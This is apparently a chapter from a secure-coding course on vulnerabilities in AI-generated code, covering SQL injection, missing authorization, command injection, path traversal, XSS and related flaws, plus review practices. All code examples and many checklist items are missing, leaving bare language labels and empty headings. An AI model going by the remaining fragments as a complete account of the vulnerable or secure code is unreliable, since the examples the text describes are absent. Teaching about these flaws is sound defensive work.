The AI Coding Reality Check
Understanding the Security Risks
In Chapter 1, we explored how sensitive data can leak through AI coding assistants. Now we're tackling an even more fundamental problem: AI tools regularly generate code that contains security vulnerabilities.
Here's the uncomfortable truth: AI coding assistants are trained on billions of lines of public code — and much of that code is insecure. When AI generates code, it reproduces the patterns it learned, including the vulnerable ones. The result? Around 48% of AI-generated code contains security vulnerabilities 1.
This chapter explores why AI generates vulnerable code, what specific vulnerability patterns appear most frequently, and how to catch and fix them before they reach production.
AI coding assistants work through statistical pattern matching. They've seen thousands of examples of authentication code, database queries, API endpoints, and file operations. When you ask them to generate similar code, they produce what statistically "looks right" based on their training data.
But here's the critical issue: AI doesn't understand security intent. It doesn't reason about threat models, attack vectors, or security boundaries. It generates code that looks functionally correct without considering whether it's secure.
Think of it like this: If you trained someone to cook by showing them thousands of random cooking videos from the internet — some from professional chefs, many from amateurs, and some showing outright dangerous practices — they'd learn to make dishes that look like food. But they might also reproduce unsafe food handling practices because those appeared frequently in the training data.
That's exactly what's happening with AI-generated code.
Before we dive into specific vulnerability patterns, let's look at what research tells us about the scope of this problem:
Multiple studies point to a consistent pattern: AI assistance increases the speed of coding but also the likelihood that security flaws slip in. A 2024 large-scale comparison found roughly half of AI-generated snippets contained exploitable vulnerabilities, with SQL injection and path traversal among the most common 1. A 2023 controlled study showed developers using assistance were more likely to introduce vulnerabilities—and to trust the output—resulting in measurably less secure code overall 2. A 2024 systematic review across models observed persistently high vulnerability rates even for stronger models in security‑critical scenarios 3. Earlier work analyzing Copilot outputs found around 40% of suggestions had security weaknesses, especially around auth, crypto, and input handling 4.
Perhaps most concerning is the trust gap: many developers feel AI output is safer than it is. Surveys indicate strong perceived security benefits, yet empirical analyses consistently show the opposite—AI code often needs more scrutiny, not less. This over‑confidence leads reviewers to skim rather than challenge suggestions, letting issues through 5.
This creates a perfect storm: vulnerable code being generated at scale and accepted without adequate review.
Let's explore the most common security vulnerabilities that appear in AI-generated code, with real examples and fixes.
| Rank | Vulnerability | Severity | Why AI Generates This |
|---|---|---|---|
| 🥇 | SQL Injection | 🔴 CRITICAL | String-building for queries is ubiquitous in training data |
| 🥈 | Missing Auth/Authz | 🔴 CRITICAL | Prompts focus on functionality, not security boundaries |
| 🥉 | Command Injection | 🟠 HIGH | Training examples interpolate input into shell commands |
| 4 | Path Traversal | 🟠 HIGH | File operations rarely include validation in examples |
| 5 | Insecure Deserialization | 🟠 HIGH | Security implications aren't obvious in library examples |
| 6 | Missing Input Validation | 🟠 HIGH | AI focuses on "happy path" logic |
| 7 | Cross-Site Scripting (XSS) | 🟡 MEDIUM | Output encoding often omitted in templates |
| 8 | Weak Cryptography | 🟡 MEDIUM | Training data includes outdated algorithms |
| 9 | Hardcoded Secrets | 🟡 MEDIUM | Fake examples in training look like real patterns |
| 10 | Poor Error Handling | 🔵 LOW | "Happy path" bias omits edge cases |
Key Finding: Research shows SQL injection and path traversal are the most frequently occurring vulnerabilities in AI-generated code, with authentication/authorization issues close behind 1.
Why this happens: String‑building for queries is ubiquitous online, so assistants reproduce it—even though parameterization is the secure default.
Vulnerable code (AI-generated):
python
This allows an attacker to manipulate username and execute arbitrary SQL:
python
Secure version:
python
Parameterization cleanly separates SQL logic from user data, preventing injection.
Why this happens: Prompts emphasize functionality (“create an endpoint”) while security boundaries (who can call it? for which resource?) are often unstated and therefore omitted.
Vulnerable code (AI-generated):
javascript
Without explicit checks, anyone can call the endpoint, update other users, and even escalate privileges by changing roles.
Secure version:
javascript
Why this happens: Many examples interpolate untrusted input into shell commands; assistants mirror that pattern.
Vulnerable code (AI-generated):
python
The problem: An attacker can inject shell commands:
python
Secure version:
python
Why AI generates this: File operations with user input are common, and proper validation is often omitted in training data.
Vulnerable code (AI-generated):
python
The problem: Attacker can access any file:
python
Secure version:
python
Why AI generates this: Serialization libraries are widely used, and security implications aren't obvious in code examples.
Vulnerable code (AI-generated):
python
The problem: Pickle can execute arbitrary code during deserialization. An attacker can craft malicious serialized data that executes code on the server.
Secure version:
python
Why AI generates this: AI focuses on the "happy path" and often omits validation logic.
Vulnerable code (AI-generated):
javascript
The problems:
Secure version:
javascript
Why AI generates this: Templating and output generation code often omits proper escaping.
Vulnerable code (AI-generated):
javascript
The problem: User-supplied data is inserted directly into HTML without escaping.
javascript
Secure version:
javascript
Why AI generates this: Cryptography examples in training data often use outdated or weak algorithms.
Vulnerable code (AI-generated):
python
The problems:
Secure version:
python
Why AI generates this: Training data contains countless examples with hardcoded credentials (often fake examples that look real).
Vulnerable code (AI-generated):
python
The problems:
Secure version:
python
Why AI generates this: AI generates the "happy path" logic but often omits comprehensive error handling.
Vulnerable code (AI-generated):
python
The problems:
Secure version:
python
Understanding why AI generates these vulnerable patterns helps us address the root causes:
The internet is full of insecure code examples. Stack Overflow answers, tutorial blogs, GitHub repositories — many contain vulnerabilities. When AI trains on this data, it learns both good and bad patterns.
What's secure in one context may be insecure in another. AI lacks the contextual understanding to know when security controls are needed. A code snippet that's fine for a local script becomes dangerous in a public API.
Training data disproportionately shows functional code, not defensive code. Examples focus on making things work, not on edge cases, error handling, or security boundaries.
AI doesn't think like an attacker. It doesn't ask "how could this be abused?" or "what if the user is malicious?" It generates code that assumes good-faith inputs.
Secure code often relies on implicit context: middleware, frameworks, environment configuration. AI generates isolated code snippets without these protective layers.
Now that you know what to look for, here's how to systematically catch these issues:
When reviewing AI-generated code, explicitly check:
Authentication & Authorization:
Input Validation:
SQL & Command Injection:
Output Encoding:
Cryptography:
Error Handling:
Session Management:
Integrate these tools into your workflow:
Static Application Security Testing (SAST):
IDE Integration: Many SAST tools have IDE plugins that flag issues in real-time:
Prevent vulnerable code from being committed:
Block merges if security issues are found:
Guide AI toward secure code from the start:
❌ Bad prompt:
text
✅ Good prompt:
text
Even better - use .github/copilot-instructions.md:
markdown
Anonymized SaaS team shipped an AI-generated data export endpoint without security review. Within two weeks:
Use the earlier "How to Catch Vulnerable AI Code" section as the single source of truth:
Before moving to the next chapter, make sure you understand:
[1] arXiv (2024) – How secure is AI-generated Code: A Large-Scale Comparison of Large Language Models
[2] arXiv (2023) – Do Users Write More Insecure Code with AI Assistants?
[3] IEEE Security & Privacy (2024) – State of the Art of the Security of Code Generated by LLMs: A Systematic Literature Review
[4] arXiv (2021) – Asleep at the Keyboard? Assessing the Security of GitHub Copilot's Code Contributions
[5] Snyk (2024) – 2024 Open Source Security Report: Slowing Progress and New Challenges for DevSecOps
Mark this chapter as finished to continue
Mark this chapter as finished to continue